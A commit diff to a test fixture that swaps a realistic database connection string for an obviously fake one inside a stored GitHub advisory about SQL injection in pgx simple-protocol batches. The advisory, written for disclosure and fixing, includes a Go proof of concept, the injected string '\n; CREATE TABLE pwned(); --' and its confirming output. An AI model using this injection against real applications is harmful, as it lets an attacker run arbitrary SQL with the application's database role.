Use an obviously fake connection string in the pgx advisory test fixture

tools/repoadvisory/testdata/pgx.json

@@ -5,7 +5,7 @@
     "url": "https://api.github.com/repos/jackc/pgx/security-advisories/GHSA-j38q-h3ph-jjpq",
     "html_url": "https://github.com/jackc/pgx/security/advisories/GHSA-j38q-h3ph-jjpq",
     "summary": "SQL injection in simple-protocol batches when a queued query ends in a `--` comment",
-    "description": "### Summary\n\nIn simple-protocol mode, `SendBatch` lets an attacker who controls a string argument run arbitrary SQL as the application's database role. pgx pastes each query's arguments into its SQL as quoted literals, then joins the queries with a bare `;`. If a queued query ends in a `--` comment, the next query's first line becomes part of that comment, including the opening quote of its string argument. A newline inside the argument ends the comment, and the rest of the argument runs as SQL. Without an attacker, the next query is silently dropped and `BatchResults.Close()` returns nil.\n\n### Details\n\n`conn.go`, `sendBatchQueryExecModeSimpleProtocol` (https://github.com/jackc/pgx/blob/0dd05bbb034054476833c11856510cc20cbde049/conn.go#L1038-L1058):\r\n\r\n```go\r\nfor i, bi := range b.QueuedQueries {\r\n    if i > 0 {\r\n        sb.WriteByte(';')\r\n    }\r\n    sql, err := c.sanitizeForSimpleQuery(bi.SQL, bi.Arguments...)\r\n    ...\r\n    sb.WriteString(sql)\r\n}\r\nmrr := c.pgConn.Exec(ctx, sb.String())\r\n```\r\n\r\nThe sanitizer quotes each argument correctly within its own query. It can't see that the previous query's trailing `--` comment now runs on into this query. With:\r\n\r\n- query 1: `UPDATE t SET x=x WHERE id=$1 -- note`\r\n- query 2: `INSERT INTO audit(msg) VALUES ($1)`, msg = `\"\\n; CREATE TABLE pwned(); --\"`\r\n\r\nthe server receives:\r\n\r\n```\r\nUPDATE t SET x=x WHERE id= 1  -- note;INSERT INTO audit(msg) VALUES ( '\r\n; CREATE TABLE pwned(); --' )\r\n```\r\n\r\nLine 1 runs the UPDATE and comments out the rest. Line 2 runs `CREATE TABLE pwned()`, and the final `--` comments out the leftover `' )`. The spaces around each value come from the GHSA-m7wr-2xf7-cm9p fix in `internal/sanitize`, and they don't stop this attack.\r\n\r\nThe same code was added in v4 by 25099e6f (\"Permit SendBatch with Simple Protocol\", first released in v4.7.0) and is still there in v5. Extended-protocol modes aren't affected, because they send each query and its parameters separately.\r\n\r\nThe class matches GHSA-m7wr-2xf7-cm9p (line-comment injection in simple protocol), but this is a different code path that the earlier fix didn't cover.\r\n\r\nPossible fix: join with `\";\\n\"` instead of `';'`, so a trailing line comment can't extend into the next query.\n\n### Proof of concept\n\nRequirements: PostgreSQL 14+ (tested on 18) and pgx v5 at `0dd05bbb` (v5.11.0 and earlier behave the same).\r\n\r\n```go\r\npackage main\r\n\r\nimport (\r\n\t\"context\"\r\n\t\"fmt\"\r\n\t\"os\"\r\n\r\n\t\"github.com/jackc/pgx/v5\"\r\n)\r\n\r\nfunc main() {\r\n\tctx := context.Background()\r\n\t// e.g. DATABASE_URL=\"postgres://postgres:pw@127.0.0.1:5432/postgres?sslmode=disable&default_query_exec_mode=simple_protocol\"\r\n\tconn, err := pgx.Connect(ctx, os.Getenv(\"DATABASE_URL\"))\r\n\tif err != nil {\r\n\t\tpanic(err)\r\n\t}\r\n\tdefer conn.Close(ctx)\r\n\r\n\tconn.Exec(ctx, \"DROP TABLE IF EXISTS t, audit, pwned\")\r\n\tconn.Exec(ctx, \"CREATE TABLE t(id int, x int); INSERT INTO t VALUES (1,1); CREATE TABLE audit(msg text)\")\r\n\r\n\tfor _, msg := range []string{\"harmless\", \"\\n; CREATE TABLE pwned(); --\"} {\r\n\t\tb := &pgx.Batch{}\r\n\t\tb.Queue(\"UPDATE t SET x=x WHERE id=$1 -- note\", 1)\r\n\t\tb.Queue(\"INSERT INTO audit(msg) VALUES ($1)\", msg)\r\n\t\tcloseErr := conn.SendBatch(ctx, b).Close()\r\n\r\n\t\tvar rows int\r\n\t\tvar pwned bool\r\n\t\tconn.QueryRow(ctx, \"SELECT count(*) FROM audit\").Scan(&rows)\r\n\t\tconn.QueryRow(ctx, \"SELECT to_regclass('pwned') IS NOT NULL\").Scan(&pwned)\r\n\t\tfmt.Printf(\"msg=%q close=%v audit_rows=%d pwned=%v\\n\", msg, closeErr, rows, pwned)\r\n\t}\r\n}\r\n```\r\n\r\nOutput with `default_query_exec_mode=simple_protocol`:\r\n\r\n```\r\nmsg=\"harmless\" close=<nil> audit_rows=0 pwned=false\r\nmsg=\"\\n; CREATE TABLE pwned(); --\" close=<nil> audit_rows=0 pwned=true\r\n```\r\n\r\nControl: with `default_query_exec_mode=exec` or `cache_statement`, both INSERTs store the row (`audit_rows` = 1, then 2), and `pwned` stays false.\n\n### Impact\n\nSQL injection which affects applications that use pgx batches in simple-protocol mode, which is set through `default_query_exec_mode=simple_protocol` in the connection string or `ConnConfig.DefaultQueryExecMode = pgx.QueryExecModeSimpleProtocol` (also via pgxpool). This mode is common behind PgBouncer in transaction mode. To be exploitable, a queued query must end in a `--` comment with no trailing newline, and the next query must take an attacker-controlled string argument on its first line. When those hold, the attacker runs arbitrary SQL as the application's database role. Even without an attacker, the next query is silently dropped as `Close()` reports no error. Code that reads each result with `br.Exec()` does get `no more results in batch` in that case. But a one-statement payload returns as many results as were queued, so per-result checks don't catch the attack.\r\n",
+    "description": "### Summary\n\nIn simple-protocol mode, `SendBatch` lets an attacker who controls a string argument run arbitrary SQL as the application's database role. pgx pastes each query's arguments into its SQL as quoted literals, then joins the queries with a bare `;`. If a queued query ends in a `--` comment, the next query's first line becomes part of that comment, including the opening quote of its string argument. A newline inside the argument ends the comment, and the rest of the argument runs as SQL. Without an attacker, the next query is silently dropped and `BatchResults.Close()` returns nil.\n\n### Details\n\n`conn.go`, `sendBatchQueryExecModeSimpleProtocol` (https://github.com/jackc/pgx/blob/0dd05bbb034054476833c11856510cc20cbde049/conn.go#L1038-L1058):\r\n\r\n```go\r\nfor i, bi := range b.QueuedQueries {\r\n    if i > 0 {\r\n        sb.WriteByte(';')\r\n    }\r\n    sql, err := c.sanitizeForSimpleQuery(bi.SQL, bi.Arguments...)\r\n    ...\r\n    sb.WriteString(sql)\r\n}\r\nmrr := c.pgConn.Exec(ctx, sb.String())\r\n```\r\n\r\nThe sanitizer quotes each argument correctly within its own query. It can't see that the previous query's trailing `--` comment now runs on into this query. With:\r\n\r\n- query 1: `UPDATE t SET x=x WHERE id=$1 -- note`\r\n- query 2: `INSERT INTO audit(msg) VALUES ($1)`, msg = `\"\\n; CREATE TABLE pwned(); --\"`\r\n\r\nthe server receives:\r\n\r\n```\r\nUPDATE t SET x=x WHERE id= 1  -- note;INSERT INTO audit(msg) VALUES ( '\r\n; CREATE TABLE pwned(); --' )\r\n```\r\n\r\nLine 1 runs the UPDATE and comments out the rest. Line 2 runs `CREATE TABLE pwned()`, and the final `--` comments out the leftover `' )`. The spaces around each value come from the GHSA-m7wr-2xf7-cm9p fix in `internal/sanitize`, and they don't stop this attack.\r\n\r\nThe same code was added in v4 by 25099e6f (\"Permit SendBatch with Simple Protocol\", first released in v4.7.0) and is still there in v5. Extended-protocol modes aren't affected, because they send each query and its parameters separately.\r\n\r\nThe class matches GHSA-m7wr-2xf7-cm9p (line-comment injection in simple protocol), but this is a different code path that the earlier fix didn't cover.\r\n\r\nPossible fix: join with `\";\\n\"` instead of `';'`, so a trailing line comment can't extend into the next query.\n\n### Proof of concept\n\nRequirements: PostgreSQL 14+ (tested on 18) and pgx v5 at `0dd05bbb` (v5.11.0 and earlier behave the same).\r\n\r\n```go\r\npackage main\r\n\r\nimport (\r\n\t\"context\"\r\n\t\"fmt\"\r\n\t\"os\"\r\n\r\n\t\"github.com/jackc/pgx/v5\"\r\n)\r\n\r\nfunc main() {\r\n\tctx := context.Background()\r\n\t// e.g. DATABASE_URL=\"postgres://FAKE_USER:FAKE_PASSWORD@db.example:5432/FAKE_DB?sslmode=disable&default_query_exec_mode=simple_protocol\"\r\n\tconn, err := pgx.Connect(ctx, os.Getenv(\"DATABASE_URL\"))\r\n\tif err != nil {\r\n\t\tpanic(err)\r\n\t}\r\n\tdefer conn.Close(ctx)\r\n\r\n\tconn.Exec(ctx, \"DROP TABLE IF EXISTS t, audit, pwned\")\r\n\tconn.Exec(ctx, \"CREATE TABLE t(id int, x int); INSERT INTO t VALUES (1,1); CREATE TABLE audit(msg text)\")\r\n\r\n\tfor _, msg := range []string{\"harmless\", \"\\n; CREATE TABLE pwned(); --\"} {\r\n\t\tb := &pgx.Batch{}\r\n\t\tb.Queue(\"UPDATE t SET x=x WHERE id=$1 -- note\", 1)\r\n\t\tb.Queue(\"INSERT INTO audit(msg) VALUES ($1)\", msg)\r\n\t\tcloseErr := conn.SendBatch(ctx, b).Close()\r\n\r\n\t\tvar rows int\r\n\t\tvar pwned bool\r\n\t\tconn.QueryRow(ctx, \"SELECT count(*) FROM audit\").Scan(&rows)\r\n\t\tconn.QueryRow(ctx, \"SELECT to_regclass('pwned') IS NOT NULL\").Scan(&pwned)\r\n\t\tfmt.Printf(\"msg=%q close=%v audit_rows=%d pwned=%v\\n\", msg, closeErr, rows, pwned)\r\n\t}\r\n}\r\n```\r\n\r\nOutput with `default_query_exec_mode=simple_protocol`:\r\n\r\n```\r\nmsg=\"harmless\" close=<nil> audit_rows=0 pwned=false\r\nmsg=\"\\n; CREATE TABLE pwned(); --\" close=<nil> audit_rows=0 pwned=true\r\n```\r\n\r\nControl: with `default_query_exec_mode=exec` or `cache_statement`, both INSERTs store the row (`audit_rows` = 1, then 2), and `pwned` stays false.\n\n### Impact\n\nSQL injection which affects applications that use pgx batches in simple-protocol mode, which is set through `default_query_exec_mode=simple_protocol` in the connection string or `ConnConfig.DefaultQueryExecMode = pgx.QueryExecModeSimpleProtocol` (also via pgxpool). This mode is common behind PgBouncer in transaction mode. To be exploitable, a queued query must end in a `--` comment with no trailing newline, and the next query must take an attacker-controlled string argument on its first line. When those hold, the attacker runs arbitrary SQL as the application's database role. Even without an attacker, the next query is silently dropped as `Close()` reports no error. Code that reads each result with `br.Exec()` does get `no more results in batch` in that case. But a one-statement payload returns as many results as were queued, so per-result checks don't catch the attack.\r\n",
     "severity": "high",
     "author": null,
     "publisher": {